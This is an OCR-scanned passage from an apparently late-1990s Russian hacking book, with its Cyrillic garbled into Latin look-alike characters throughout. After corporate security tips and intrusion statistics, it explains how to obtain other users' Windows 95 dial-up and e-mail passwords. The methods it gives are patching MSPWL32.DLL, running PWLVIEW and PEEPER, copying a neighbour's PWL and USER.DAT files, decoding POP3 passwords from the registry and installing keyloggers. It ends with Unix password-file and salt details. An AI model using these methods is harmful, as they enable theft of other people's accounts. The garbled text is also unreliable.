8. CosnaiiTe U3 COTPYIHUKOB Ballleii KOMIAHUM OTNIEPATUBHYIO TPYIIITY
koMmrmbloTepHoit 6e3omacHocT (Computer Emergency Response Team,
CERT). CERT — 3T0 001IEnpUHSATBI TepMUH 1JIsI 0003HAYEHUS TPYIIITbI
SKCITEPTOB MO KOMITBIOTEPHBIM TEXHOJIOTUSIM, KOTOPbIE ITPU3BaHBI 00POTHCS C
KOMITBIOTEPHBIMM Y CETEBBIMU KaTacTpodaMu. YCTaHOBUTE KOHTAKTHI C TPYII-
rmamMu CERT 13 pocTBEeHHBIX OPraHM3allniA, YTO TTO3BOJIUT MOAIEPXKUBATD yC-
TOMYMBOCTh CUCTEMbI 3aIIUTHI B O0Jiee I100aIbHOM MaciiTabe.

9. IpocMaTpuBaiiTe CIIUCKY TIPAB TOCTYIA MOJIb30BaTeNeH U CICAUTE
3a UX aKTyaJIbHOCThI0. OrpaHUYMBaiTE MOJIH30BATESIM BO3MOXHOCTHU AOCTY-
1a; MaKCHMMaJIbHO 3aKpy4MBaiTe BCe ralikv B CUCTeMe Oe30I1aCHOCTH.

10. PaccmarpuBaiite 3aIuTy DaHHBIX Kak mporecc. He ciemyer my-
MaTh, YTO, YCTAHOBUB CUCTEMY 3aIUTHI JAHHBIX, MOXHO ITOCTABUTh TAJIOYKY B
CITMCKE HEOOXOMUMBIX 1€ M Ha 3TOM YCITIOKOMThCs. PaszpaboraiiTe MOJUTUKY

218 XakepcKkue TpoKu

MTOIICPXXaHUsl KOPIOPaTUBHONW MHMOOPMAIIMOHHOK Ge30MacHOCTH, KOTOpast
COOTBETCTBOBaJIa OBI MOTPEOHOCTSIM Balllero OM3Heca.

CurHana Tpesoru

B Hacrosee Bpemsi @BP paccnenyer 6oiee 700 ciayyaeB KpyHmHBIX
BMEIIATEIbCTB CO CTOPOHBI MHOCTPAHHBIX pa3BenoK. Cpenu MPUMEHSIEMbIX
areHTaM1 METOIOB — MOAKIIIOUeHUE K KaOeIbHBIM JIMHUSIM CBSI3U, YCTAHOBKA
ITOICTYIIMBAIOIIMX YCTPOMUCTB B orcax, IepexBaT pa3roBOPOB MO COTOBOMY
TesnedOHy, TPOHMKHOBEHNE B KOMITBIOTEPHBIC CETH M BOPOBCTBO 3aKPBITOM
MHGOPMAIUU C TUCKOB M KOMIIAKT-INCKOB.

ITo nanabsIM HallmoHaTbHOM accoLMaliii KOMITBIOTEPHOM 6e30macHo-
ctH, 3a Tieprof ¢ 1996 1. mo Hosiopb 1997 T. KOMMYECTBO MaKpPOBUPYCOB BO3-
pocio ¢ 40 mo 1300. Gartner Group nipenckasbiBaeT, uto B 1998 r. 60% Hapy-
IIEHUI CUCTEMBI 3aIIUTHI TIPOU30MIET U3-3a BUPYCOB.

WnocTpaHHBIe areHThl MUHUMYM M3 23 CTpaH IBITAJUCH OCYIIECTBUTD
pa3BenbIBaTeIbHbIE NEWCTBUS POTUB aMePUKAHCKUX Kopriopamuii. [To maH-
HeIM PBP, Tonbko B 1997 1. moTepn aMepUKaHCKUX KOMITAHMI, CBSI3aHHbBIE
C MHTEJJIEKTyaJIbHOM COOCTBEHHOCTBIO, COCTaBIIIM CBbIIe 300 MIpa. JOJI.

ITo manHbIiM MuHUCTEpcTBA 000poHbl CIIIA, 88% 13 6o1ee uem 20 000
MOMNBITOK MPOHUKHOBEHUS B MH(GOPMAIMOHHBIE CUCTEMBI TOCYIapCTBEHHBIX
OpraHu3aluii, BbIMOJHEHHBIX IS OLEHKU HaleXHOCTU 3allMThl, 3aBepII-
JIUCH yclelHo. M3 3TUX yCHelHbIX HanageHWii 0OHapyKeHbl ObUIM TOJBKO
5%; obvLMaTbHBIC e TOKJIAIbl O IPOHUKHOBEHUH MPEICTABISTUCH TOJBKO
B 5% OT 0011Iero YKciia caydacB BbISIBICHUS aTak. TakuM 00pa3oM, IUPOKOM
0OI11IECTBEHHOCTH CTAaHOBUTCSI U3BECTHO JIUILb 00 ofHOM U3 400 ycremHbIx
aTax.

Kak mokazano wccliemoBaHue, MPOBeAeHHOE KOMITaHuelr Warroom
Research coBMecTHO ¢ amepukaHckuM CeHatoM, 58% KoMIaHMiT 0OHaAPYXH-
BaJIv CJTydyald HECAaHKIIMOHWPOBAHHOTO JOCTYIA K CBOMM ceTsM. boiee yem B
69% ciydaeB YCHEITHBIX BTOPXKEHUI YOBITKM KOMITAHWI COCTABWJIA CBBILIE
50 ThIC. mOJUTAPOB, a GoJiee ueM B 27% cayuyaeB — cBbiie 500 ThIC. AOJIAPOB.

WccnenoBanue, npoBeneHHoe KomiaHueir Warroom Research, moka-
3aJ10, YTO Kaxaast 13 6osiee yeM 51% KOMITaHUI yJIrudaia He MeHee IeCTH CBO-
UX COTPYAHUKOB B 3JI0YIIOTPEOIECHUSIX, CBI3aHHBIX ¢ MH(POPMALIMOHHBIMMU Ce-
Tamu. bonee yeM B 75% ciyyaeB eIMHCTBEHHBIM HaKa3aHUEM CTaJI0 YCTHOE
WX MUCbMEHHOE TTOpULIaHUE.
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fAnasa 17.
BecnaaTtHbin Internet

Bce uznoxxeHHOe HUKe MpeaHa3HAUYEHO TONBKO TSI O3HAKOMIICHMS
C BO3MOKHOM OTTACHOCTBIO M HU B KOEM CJTyJae He JI0JDKHO OBITh MCTIOb30Ba-
HO, €CJI 3TO MMPUINHHUT YIIepO KaAKUM-JIN00 (PU3NIESCKUM WITHA I0PUINICCKIM
JIUIIaM, TaK KaK 3TO MOXET ITOBJIeYb 3a OO0 aAMUHUCTPATUBHYIO VI YTO-
JIOBHYIO OTBETCTBEHHOCTb B COOTBETCTBMM C NEHCTBYIOIIUM 3aKOHOIATEITb-
CTBOM.

Jlst Havasia HeOOoMbIIOKM 3KCKYpC B UcTopuio. Bo Bce BpeMeHa ObLIM
JIIOJIV, KOTOPbIE CTApAJIMCh YTO-JIM00 YTauTh OT IPYTUX, U ObLIIU W IpYyTHUE: TE,
KOTOPBIE C ITUM OBLIM HE COTIACHBI U MO3TOMY BCSIUYECKU CTAPAIMCh TalHbI
MEePBbIX Y3HaTh — TaKOBa YX uejioBevyecKasi CYIIHOCTb. M BOT, mpuayMaiu
nepBbie BXoA B Internet ¢ maposiem, MO0 IEHET CTOUT, a BTOPbIE cpady Hauaiu
9TOT MapoJib OTHICKMBATb BCEMU BO3MOXHBIMU M HEBO3MOXHBIMM CIIOCO-
6amu.

Hrak, cranus nepBas. beuin BpemeHa, Korjga mapoJib IOJb30BaTesb
MOT BbIOMpaTh caM. be3ycioBHO, C OIHOI CTOPOHBI, 3TO OBLIO YIOOHO: eCiIu
caM CJIOBO 3TO 3aBETHOE MpUIyMaJ, TO YX He 3a0yjelllb HUKOTAA (€CIU TOJb-
KO MpeObIBajl B 3TOT MOMEHT B 3/IpaBOM YME M TBEP0il MaMsITH, HO 3TO YK€ K
nesty He otHocuTcst). [Taposib ke BIOMpasicsl He TPOCTO Tak: JUIsl YKa3aHHOTO
MOJIb30BaTesl OH OOBIYHO HEC OINPENeJEHHYIO CMBICIOBYIO Harpysky.
M B 3TOM OBLITO Ci1ab0OE MECTO TAaHHOTO METO/IA.

Teneps ToJIBKO B J€lIEeBBIX (PUIbMAaX YBUIUIIIL HEKOETO TpaXIaHWHA,
KOITAIOIIETOCs B MyCOPHOI KOP3WHE CBOEI OymyIei KepTBBI B HAAEXKAE y3-
HaThb WMeHa, (GaMuIuMM, AaThl POXIEHUS BCEX POJICTBEHHUKOB TaKOBOWM
BIUIOTH /IO JECSITOTO KOJIEHA, a TAaKXke BCeX UX CO0aK, KOIIEK, KPbIC, XOMSKOB
U npoueii xkxuBHOCcTU. M He 6e3 ycrexa! A Kak Xe elle: a YTo BaM, HalpuMep,
MepBbEIM NpuxoauT Ha yM? KoHeyHo: mMs Balei (MId He Ballleil) IoApyru
WIM KJIMYKa Balleil codaku, Hy, WIM CJI0OBO KaKoe, HeoTpeOHoe (HO 3TO yXe
oT BocnuTaHus 3aBucut!). Hanboiiee mpoaBUHYTHIE XaKephl HAYaJIM 1aXKe CO-
CTaBJISATH CIel[MaIbHbIE CJIOBAPU C YUYETOM HauOoJiee YacTO BCTPEUYAIOIIUXCS
B MapoJIsIX CJIOB.

Bce 310, B KOHIIE KOHIIOB, MOJOXMJIO KOHELl IePBOM CTaauu, U Haya-
JlaCh BTOpasi: Terepb IMapoJjib BbIIAET KOMITBIOTEP, TO €CTh TeHEPUPYET HEKOTO-
PYIO MCEBIOCTYyYaitHYIO IMOC/ICA0BATEIbHOCTh OYKB, UMD W pa3HBIX 3HAKOB
MpenuHaHus. Xopolo-To Kak crano: «tHa73?Lp» — noau-ka noadepu! Ho
TYT BO3HMKJIA Ipyras mpobdiema: a monu-ka 3anomMHu! [lonb3oBatenu Haiu
HavaJli UX Ha OyMakKax 3allUChIBaTh, HY U, TIEPUOIUIECKHU. .. IPABUIIBHO: OY-
MaXXKU TePSUTMCh, MOXUIIATUCH, IOl B MyCOPHYIO KOP3UHY H T.I. — OT
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Yyero yuuid, K Tomy u npuuuin! M Torna Kakasi-to yMHasi TojioBa A0rafajach,
YTO Tapojb MOXHO XpPaHWUTb HE B TOJIOBE, a MPSMO Ha KECTKOM JAMCKeE.
B DialUp-okHe rajouyky IOCTaBUTb M 3allOMHUTH Iapojib. ¥ KOMIIbIOTEpA
MO3TM KpeMHUEBbIE — €My BCe paBHO, YyTo 3aroMuHaTh. Hy, a pa3 3anomHu-
Ji4, TO, caMo co0oii, 1 3anucath Hago. Hy, a pa3 3anucarb, TO... TpaBUJIbHO:
OTBEPHYJICS Halll M0JIb30BaTe/b, a TYT XaKepbl TOJIMON HaJleTean — U Hy Ma-
poJib moAcMaTpuBath. M Torna 3anoMHeHHbIe Mapoiy cTaiu mudposats... Hy
BOT, Hallle JIMPUKO-UCTOPUYECKOE BCTYIJIEHUE 3aKOHUMJIOCh. Terneph noliia
npo3a.

I'me xpansrcs mapomu B Windows 95? 3ammdpoBaHHEIE Hapou
B Windows 95, Kak u3BeCTHO, XpaHsITCSI B OCHOBHOM Karajore, B ¢aitiax c
pacmmpenvem PWL. C yyeToMm TOro, 4TO HE TOJBKO «y HAC 3[IeCh», HO U <Y
HUX TaM» OBIBAIOT MEPCOHAIbHBIE KOMITBIOTEPBl KOJUIEKTUBHOTO TOJIb30Ba-
HUsI, 1a U CeTU JIOKAJIbHbIE MECTAMM BCTPEYAIOTCsI, Ha KaXXK0TO IMOJb30BaTEIsI
3aBoauTcs cBoit PWL. Kctatu, HazBaHue (aiijia COOTBETCTBYET JJOTUHY (MMe-
HMU... HET, CKOpee, KJIMYKe) TaHHOTO T0JIb30BaTENS.

3aimgpoBaHbl 3TU aiiibl, B IPUHILUIE, JOCTATOYHO MpuindHo. Ec-
JI1 KOMY-JIMOO MHTEPECHO, TO, B3SIB B PYKM Kakoil HuOydb Au3accemoOiep
(HIEW, QVIEW), MOXHO ITIOCMOTPETh Iipolienypy lndpoBanus. OHa Haxo-
mutca B daitne MSPWL32.DLL. B Bepcuun OSR2pus co cmelieHHeM
488(hex).

Bot yx rae HakpydyeHo. UMeeTcst cueTunk (HazoBeM ero N) OT HyJIsl 10
«CKOJIbKO Haji0o». MMetoTcst Tpu Tabauibl. B cooTBeTCTBUM CO cUeTYMKOM N,
Oepercs 6aiiT u3 neppoit Tabauibl (X). [To cMmemenuo X+N, ypesaHHOMY 10
8 out, u3 Bropoit Tabnuiibl 6epercs apyroii 6aiit (Y). 3atem 1o aapecy X+Y,
OISITh K€ YPEe3aHHOMY /10 8 OUT, U3 TpeTbel Tabuullbl OepeTcsl TpeTUil OaiT
(Z2). Tocne cTonb XUTpbIXx MaHUNYAsIUI KoMaHa0il XOR ¢ Gaittom Z 1mind-
pyetcst 6aiiT uHdopMauu, Nmocjie Yero cYeTYNMK MHKPEMEHTUPYETCSI, U BCe
MOBTOPSIETCS CHAavaa.

Kcratm, Tabnuil, Ha caMOM Jiejie, MOKET 0Ka3aThCs U 1Be, M OfHa (MC-
TTOJTL3YIOTCST HECKOJIBKO pa3 Ha pa3HbIX aTarax). PacimmdpoBeIiBaeTcs BCe 3TO
aHAJIOTMYHO (M TOMU Xe Mpoieaypoit), oo komanma XOR ob6paTtuma.

Ecnu xxe y Bac cTouT Kakasi-To apyras Bepcust Windows, To 3To aena
He MeHsieT. HeusBecTHO, B UbMX HE3MOPOBBIX MO3rax MOTIJa MOSIBUTHCS
MbICJIb MCIOJIB30BaTh Jis KU(GPOBaHUS KOMaHIy Xor byte ptr [eax+ebp],cl.
Moxxer, 3anmyTaTh XOTeJau? A KOMaHJa YHUKaJbHa, TAKKMEe KOMaHIbl B OObIY-
HBIX MporpaMMax eie rnouckarb Hago. Crano ObITh, UIIEM COOTBETCTBY-
fo1yto eit kom6uHanuio 30h, OCh, 28h — u Bce aena. anbiie — npocto. be-
pem MSPWL32.DLL u co cmemienust 511 h (unu Tam, rae HaliaeM) CTaBUM
90h, 90h, 90h — komanasl NOP (mycras onepatus). M Bce, KoMaHIa He BbI-
MoJHseTcst!
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Yro npu aToM npousoiinet? Ja Hudero! Huuero cTpaniHoro u naxe He
oueHb cTpaiHoro. M naxe HukTo HUYero He 3aMeTuT!!! Bce ocTaHeTcs Kak
BCeraa, C OAHUM JIMIIb UCKITIOUEHUEM: BCE JIOTHUHbBI/TIapOoJIu OYIyT BUIHbI, TAK
cKazaTbh, HEBOOpYXXeHHbIM Tjazom! TyT, mpaBma, ecThb JBa HENMPUSTHBIX
MoMeHTa. Bo-tiepBhix, Bo Bpemst paboTbl Windows BaM He yaacTcs ogo0HbIM
00pa3oM HaIpyraThCsl Hall UX «CBSITasl CBATBIX»: MUCATh B 3TOT (aily Helb3sl.
3HauMUT, MPUIETCS Teperpyxarbcsi B pexkume smyiasauuu MS-DOS, a ato
JIMIIIHEE BpeMsl, KOTOPOTO MOXET He ObITh. BO-BTOpBIX, a 3TO ellie XyxXe, BaM
Hazo Oyzet crepeTh Bce PWL'bI, nHaue naxe B Windows He MycTAT: a BOT TYT
y 3aKOHHBIX TMOJIb30BaTEIel MOTYT BOBHUKHYTh JIMIIIHUE BOMPOCHl U MOJ0-
3pEeHMUSI.

A moxHo mpoie? be3 guzacceM01epoB U «HACUIBCTBEHHBIX IEi-
ctBuii»? MoxHo! M BOT 31eCh MbI CKaxkeM TO, 3a UTO (M 32 MHOTOE, YBBI, Ipy-
roe) Windows 95 nnaue kak MustDie 110 mpaBy HUKTO HE Ha3bIBaeT.

Bb1, HaBepHOE, AyMaeTe, YTO MapoJu paciiudpPOBLIBAIOTCS TOJBKO TO-
raa, KOraa 3TO Halo, a 3aTeM «BBDKUTAIOTCS» U3 MaMSITH «KaJEHBIM XXeJle-
30M»? — Hy BOT ellie... OTKPBITbIE apoJv TTOCTOSIHHO XPaHATCS B CUCTEME —
¢ MoMeHTa Bxoa B Windows JaHHOTO MOJIb30BaTes M IO MOMEHTA €ro BbIXO-
na! Bor Bam u 6e3omacHocTh. Ho 3TOro Mano: oHu AOCTYITHBI JTIOOBIM MPUJIO-
xeHusiM depe3d APl Windows. I BOT pe3ynbTar: MOSIBISIETCSI IporpaMma
PWLVIEW, kotopas ClIoKOIHO NTOKa3bIBAET BaM «BCIO MOJTHOTOTHYI0» Balllei
(v He Bauieii) MatmHbl. B ToM uncne u DialUp, u ceteBbie maponu. @op-
MarT BblIaBaeMoii UH(MOPMaIU TAaKOB:

Rna\1-e coeguneHne\1-it norud 1-i naponb
Rna\2-e coeguHeHne\2-i NOoruH 2-i naponb

" TakK gajiee.

[a, 310 BCce Xxopo111o, Ho oHa paboTtaeT B okHe DOS, a 3T0... yHU3UTEIb-
HO: MeJIKUI IIpU@T, OSTBIM 10 YSPHOMY... A HET JIM eIlle YeTO-HUOyIb, OImke
u pogHee? Ectb. Ecth emie ogHa mtyka, PEEPER Ha3weiBaercs. OTta uner ee
nanbie. [Tapoib, Kak BBl MOXETE 3aMEeTUTb, He TTOKAa3bIBAaeTCs, BMECTO HETO
3Be300uKku. Tak Bot: 3ammyckaeM PEEPER, 3ammyckaem coenmHeHne, HaBOIUM
MBIIIb Ha 3Be31bl 1 B okHe PEEPER BumnM... mpaBMiIbHO, OTKPBITHII APOJIb.

BbI ckaxxeTe: y MEHsI HET HU BpeMEHM, HU BO3MOXKHOCTH KOBBIPSITHCS B
Yy>KOli MallliHe, HEJIb3s1 JIM CTSIHYTh Yy cocena 3ToT cambiit PWL, a motoMm, no-
Ma, pa3obpaTbh? MOXHO, TOJBKO 3TO BaM HUYEro He JACT: He OyIeT OH y Bac
pabotarb. BepHee, oH odun He Oynet. HyxxHo yHecTu eiie 1 USER.DAT. ITo-
clie 4yero moma «co3gaTh» User'a ¢ umeHeM u3 PWL, 3aMeHuUTH CBOit
USER.DAT Ha ueIbHOTSHYTHIA U elle 106aBuTh B Windows TssHyThIiE PWL.
Ilocne yero BoiiTu B Windows 1107 COOTBETCTBYIOIIIMM MMEHEM H... JaJIbllle
B urpy Bcrynaer PWLVIEW.
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A Bce Tak U cnenan, ckaxerte Bol, a BOT ToT User B Windows ¢ mapojiem
BXOJWJI, a MHE TeTIepb HE BOMTU — Napoisi-To s He 3Hato. Urto nenatsh? He Ge-
na! Ectb crioco6 npoute! YHocuMm tobko USER.DAT! A Tenepsb ele pas:
Windows'95 — MustDie!

Kak BaM M3BeCTHO, KpOME€ MHTEPAaKTUBHOTO J0CTyna B Internet, rpo-
Balimephl IpeIIaraoT eie 1 e-mail. Tak BoT, YTOOBI 3aJIe3Th B Balll IIOYTOBBINA
SIIWK, B TOT, YTO y BaC Ha JIECTHUIIE, HYXKeH KJTtou (1i1u JioM). YTOOkI 3a71e3Th
B Balll €-mail, Hy>KeH MmapoJjib (WJIM BUPTYaJbHbBIN JJoM). M1 TYyT MOXHO cKa3aTh:
mapoib K POP3-smuky Bceraa ToT ke, uro u Dial Up!

Hy u uto? A BOT uTO: maposb e-mail Haxogutrcs He B PWL'e,
a B USER.DAT, u 3ammu¢poBaH OH He TaK CUJIBHO, BepHEee, IIOYTU COBCEM He
3amudponaH!

A 910 Kak? A BoT Kak! Metoa «uudposanusi» HanomuHaeT UUE-ko-
IUPOBaHUE, MHAYEe TOBOPSI, M3 TPeX OANUTOB JEIAIOT YEThIPEe MJIM U3 BOCHMU
OGUTOB — JecsaTh. Bech MCXOMHBIN MMapoJib pa3ouBaeTCs Ha YacTH 110 TPU Oaii-
Ta. B pesyabTUpytonieit cTpoke Ha oauH cuMBOJI oTBoauTcsl 10 6utoB. Te-
Nepb: K Kaxaomy 0aiiTy ucxoaHoit crpoku npubasisercst 30h, eciu cymma
Oosbliie, yeM 7Ah, To oH craHoBuTcs paBeH 30h, a k mape 9 u 10 6uToB 106aB-
Jgercst equHuIa. OMHAKO ecTh MCKTroueHUs . Ecii o61irast ymHa CTpOKY Ima-
poJisl He KpaTHa TpeM, TO OHa fonosHsiercs 6aiitamu 3Dh. Cyns no Bcemy,
o710 ODh (koHel ctpoku)+30. B koHiie crpoku ODh, OAh: craHnapTHOe 3a-
BepIIICHHE.

Kak rmpaBuiio, momo06path Mapoib BPYIHYIO TIPOIIE, YeM HaIlKcaTh CO-
OTBETCTBYIOILYIO TTPOTPAaMMY: He KaXKIbIii 3Xe IeHb Bl 3TH MTapoJId IMoAOHpa-
ete! [TpuHIUI ipocT: 3amyckaeM Internet Mail, 3axonum B Coodmenue = ITa-
pamerpst =  CepBep. 3anyckaem REGEDIT, nepexonum B
HKEY_CURRENT_USER = Software > Microsoft = InternetMail and News
=2 Mail = POP3 = <Bam cepsep>: cMoTpum Password.

VYnansiem napossb B Internet Mail. ITepBblii mogOupaeMblii CUMBOJI BJIU-
sIeT Ha IIepBbIi U BTOPOIt OATHI, BTOPOId — Ha BTOPOI U TPETUi, TPETUI — Ha
TpeTUii U YeTBepThiii. Temneps: moagdupaeM CUMBOJ TaK, YTOOBI MEPBbIA OaUT
COBITAJI C OPUTMHAJIOM, a BTOPOIA WX COBIIAJI, WU ObLI caMblii OOJIBIIION, HO
MEHbIIIe OpUTMHaIa. AHAJIOTUYHO ISl BTOPOTO M TpeThero cuMBosioB. C noj-
OOpOM TpEeThero CMMBOJIA BCe YeThipe OaiiTa Jo/kKHBI coBnacTh! Eciu HeT —
MU3BUHUTE, Bbl OlIMOIKUCH. ECTeCTBEHHO, MOCe KaXa0i 3aMeHbl CMUMBOJIa Ha-
xumaeM «[IpumeHutb». Pesynbrar KoHTponupyem REGEDIT oM, nepexonst
BbIlIIEe/HUXKeE 1Sl 0OOHOBAeHUsI MHbopManu. Koraa nepsbie Tp¥ CUMBOJIA MO-
JIoOpaHbl, BO3BpallaeMcs AJis CISAYIONIMX TpeX, U T.J. 10 KoHla. Pazymeercs,
6aiiT(b1) 3Dh moabupare He HyxkHO! [Tocjie HEKOTOPOII TPEHMPOBKU Ha BCE
9TO YXOJIUT MEHbIIIE 15 MUHYT.
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A e 3To cuacThe XxpaHutcs? M, kctatu, Benb KpoMme JIOTUHA U IapoJis,
ellle MHOroe HYXHO 3HaTh, a OTKyIa, He 3BOHUTH Ke mpoBaiinepy? He Hamo
Hukomy 3BoHUTB! Bce B HeM, B USER.DAT.

HKEY_CURRENT_USER = RemoteAccess = Addresses: 1 Mbl uMeeM
CITMCOK MOJKIIOUYeHUit. [la, HO TaM HUYEro He MOHSITHO, LIU(UPb...

IIpaBuiabHO! BeiOupaeM 6aiiT, KOTOPOro 00Jble BCero, U aemudpyem
UM Bce octalibHbIe (00bIYHBI XOR). B pesynbTraTe B Kyde BCSIKOI €pyHIBI I10-
nydaeM ASCII-cTpoky ¢ HoMepoM MOJIEeMHOro TejiechoHa IpoBaiiaepa.

HKEY_CURRENT_USER = RemoteAccess = Profile & <noakmoue-
Hue> = IP: co cmemeHust OCh yeToipe 6aiiTa 3a70M Harepea — MepBUYHbIA
DNS, 3ateMm ellie yeTbipe — BTOPUYHBINA U T. 1.

HKEY_CURRENT_USER = RemoteAccess = Profile & <monkmoue-
nue> = User: JToruH.

HKEY_CURRENT_USER = Software = Microsoft = Windows =
CurrentVersion = InternetSettings = ProxyServer: Proxy-cepBep 1 mopr.

HKEY_CURRENT_USER = Software => Microsoft = Internet Mail and
News = Mail: & DefaultPOP3Server:

2 Default SMTPServer:

= SenderEMail:

= Name:

= Organization: 5To Bce U TaK MOHSATHO.
2 POP3-r <POP3-cepBep>:

= Account: 5TO MOHSITHO.

> Password: Hy, BOT 1 OH, POIMMBIIA.

A 4TO JAenaTh, €Cclu MOoJIb30BaTeb — Ma30XUCT? T.e. XpaHUT Mapoau
B KOMITbIOTEpE, a BBOAUT UX KaXIbIii pa3 ¢ KjaaBuatypsl? Y aToMy ropro Mox-
HO momoub. CymiectBytor nporpamMmbl Turma SPYWIN mwin HOOKDUMP.
OHM 3aMMUCHIBAIOT BCE NEMCTBYSI, TPOM3BOIMMbBIE Ha KOMITbIoTepe. JlocTaTou-
HO TIOJICaANTh OAHY U3 HUX ... €CJIU BaM IOTOM He JIeHb OyneT pa3ouparhb Te
JIECSITKM KWJIO0AWUT, KOTOpble OyayT MOPOXAEHBI 3TUMU InmuoHamu. Ecte-
CTBEHHO, UX MOXHO MCMOJIb30BaTh W JJIS1 IPYTUX LIEJEH.

B 3akimoueHre MOXKHO cKa3aTh Cleayollee: He OepuTe U yK TeM OoJiee
He 3amycKaiiTe y ce0sl BCSIKUe «KpsiKephl Internet'a», moueprnHyTeie ¢ BBS 1 u3
FIDO. OHu MOTYT «KpsSIKHYTb» TOJIBKO MH(OpMALIMIO Ha BallleM BUHYecTepe!
M60 TOT, KTO MOXKET B3/IOMaTh IIpoBaiiiepa, HUKOrIa He OyIeT paclbLIIThCS
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Ha TaKylo MeJIoYb, a APYTMe B JIydIlIeM cIydae MOTYT TTOAOMpaTh MapoJiv 1o
CJIOBApIO, a 3TO OECIONE3HO, B XyALIEM — HaJl BAMH IIPOCTO XOTSIT TTOCMESITh-
CsI WM, TOTO XyKe, CAeIaTh BaM TaloCThb (MPEIeACHTH y3Ke ObUIH).

'hnaBsa 18.
NMapoaun B UNIX'e

®aiin maponeit B UNIX'e — 3710 /etc/passwd, mpuyeM MaJeHbKUMU
OyKBaMU, €CJIK KTO HE B Kypce.

Ecnu BMecTo mapoJjieit CTosIT *, 3T0 3HAYUT: JIMOO HET BXOAA MO 3TUM
napoJisiM, J1ubo napoiau orreHeHbl — shadowed. Torma maposiu xpaHsTCsl B
daiine /etc/shadow uau /etc/master.passwd, KOTOPbIii HETOCTYIIEH ISl UTe-
Husl. EcTb BapuaHThI, KOrma B TOJIe MapoJisi CTOUT TeKCT TUMa «##root»,
«##egor», TO €CTh MUMEHA TOJIb30BaTeseil — Toraa 3alundpoBaHHbBINA Mapoib
6epercs u3 /etc/shadow wim master.passwd 1o COOTBETCTBYIOLIEMY TOJIb30Ba-
Teno. To ecTh eciiv JOTMH egor MMeeT 3alucCh B moJie ImapoJjeid «##quake»,
TOTa ero Mapojib Oepercsl u3 mojs napossi B daitne passwd mosb3oBaTess
quake. To ecTb 3TO IpOCTO cchuiKa. B Takux cucreMax (Hanpumep, Minix) ot-
TEHEHUE MapoJieii SBJISIETCS POTHDBIM.

daiin mapoieii, KOTOPbI Bbl MOXeTe ftp HyTh — 3T0 (eiik. FTP-kaTa-
Jior (hopMUpYETCS TaK:

/home/ftp/bin

/home/ftp/etc

/home/ftp/pub

/home/ftp/. ...

Korma Bel TenmHetutech Ha mopT 21 (wau menmaere ftp), To 1 Bac
KOpHEM CTaHOBUTCS Katajor /home/ftp/ ynaneHHON MallMHBI. A Ha Heil B
/home/ftp/etc ectb u daitn rpymnm — group u daiin passwd, KOTOpbIE SBIISIIOT-
cs, o cyTH, (heiikoM.

IMapomu B FOHMKCce mmdpyroTes Tak: salt+mapoiib 3aibpoBbIBACTCS
ITO KJTIOUY TTapOoJib.

Taxkum obpa3om, eciu Mbl BBOAUM cebe maposb «doomii», To oTdo-
HapHO reHeputcs salt (qBe OyKBbI) M MPOU3BOAUTCS Takas 3amu@poBKa:
«.i» — salt, «doomii» — To, yTo mUpyercs, u «doomii» — kiarod. [ludposka
ocyiectpisercss aroputmMoM DES. salt — 310 nBe OyKBbI, CrieliManibHast
MPUMOYKA JJISI XaKEPOB — OHM TeHePSITCSI OT(OHAPHO B MOMEHT IIUMPOBKMU.
TakuMm oOpa3oMm, MCKJIIOYaeTcsl HalMCcaHWe KOMITWJISITOPOB clioBapeit —
MporpaMMEI, KOTopast OBl OIMH pa3 3ammdpoBaia Bech (aiiyl maponueit, u
repedop auics Obl pubIM3UTENBHO 1 cek. YTak, Mbl IPUILLIIM K TOMY, UTO



XakepcKkue TpoKu 225

byHkuus mudpoBaHus sBasieTcsl ofHOCTOpoHHe#. Koraa nosiab3oBatesb mpu
BXOJI€ BBOJIMT MapoJib, YUTAIOTCS 1BE OYKBBI U3 (hailia maposieit — nepBble ABE
OykBbl 3amudpoBaHHoro mapossi — salt. [To HUM Tpou3BOAMTCS Ta Ke
ornepaiusi, 4YTo U BbIlIE, TOJbKO salt'oM sIBiSItOTCS 3TU ABe OykBbl. [locie
murdpoBaHus 3aMbPOBAHHbBIN TEKCT cpaBHUBaeTcs. M eciiv oH coBmanmaer,
TO 3TO MO0 103ep, b0 xakep. [Mapoab Moxer cocrositb u3: 32-127. Ilo
OTIpe/ie/ICHUI0 — He Kopode 6 CUMBOJIOB, HE [UTMHHee 8.

Ho. Hekotopbsie KOHUKCHI mpomycKaloT Mapoyiv 000N IJIMHBI A0
8 cMBOJIOB, a2 HEKOTOpBIE — 110 16.

Kak mpaBwio, xorma Bbl pellaeTe MEHSTh CBO maposb, KOHuUKC
MpoBepsIeT MPUBEACHHBIN MAapOJb Ha CIEAYIONINE BEIIU: YTOObI Bce OYKBHI HE
ObLIM OJHOTO Case-a M YTOOKI 3TO He ObLI0 cJIoBo. KOHUKC MpolliapuBaeT y ce-
0s1 cioBapb (OKOJIO ABYX METPOB, KaK IPaBUJIO) HA TeMY: a He BBeJ JIU I03ep
o0b1yHOE cioBo. M Takue maposu orBepraer. ECThb ellle HEKOTOphle HIOAHCHI,
M0 KOTOPHIM OH OMpeJesisaeT, YTO Mapojib CAUIIKOM IMPOCT ISl B3JloMa —
Hanmpumep, eciiv Bce HUGpPbl. DTOTO BCEro He MPOUCXOAUT, €CIIU Mapojb BBO-
JIUT oot — TPEAToaaraeTcs, YTo pyT MOXeT JesaThb BCe, YTO XOYeT, B T.4.
1 BBOJUTH MPOCTHIE MAPOJIH.

dopwma aiiia maposieii TakoBa:
login:password:UID:GID:comments:home:shell
rIe

login: nms orvHa, Hanpumep, egor, vasya uiau root. Kctatu, pyT, Kak
MpaBUJI0, HE MOXET TMCTAHLIMOHHO 3JIOTMHUTHCS Ha MAIlIUHY.

password: Tapojib B TOM caMoM 3alu@poBaHHOM Buae. Hampumep:
«piGHA5\fh32IjPb» — aT0 mose, kak npaBwio, 13 cumBosioB. Takxke TyT co-
Jepkarcs TIOMITOJNsI, KOTOPBIE WCIIONB3YIOTCS U ONpeNesieHUsT BOo3pacTa
TIApOJISl — eCJIA OH, CKaXeM, IOCTaTOYHO cTap, To FOHMKC moTpedyeT ero cMe-
HWTbh, WV HE TACT CMEHUTh, €CJIM TTapoJib HEMOCTaTOYHO cTap. Kak mpaBuiio,
TaKkyoo U4y He UCTOJIb3YIOT.

UID: User ID. Homep noab3oBateis o715 (paitioBOM CUCTEMBI.
GID: Group ID. Homep rpynmnbl aj1st $haitioBoil CCTEMBI.

Comments: Kak mpaBuito, mMs moib3oBaTessi. Takke eCTh IOAIIOJS,
B KOTOPBIX YKa3bIBaeTcsl opuc, HoMep TesiepoHa oduca, fomMa v T.1.

home: momaiHuii Katajgor. DTo oTaeabHas (aiiljoBas cUcTeMa, KO-
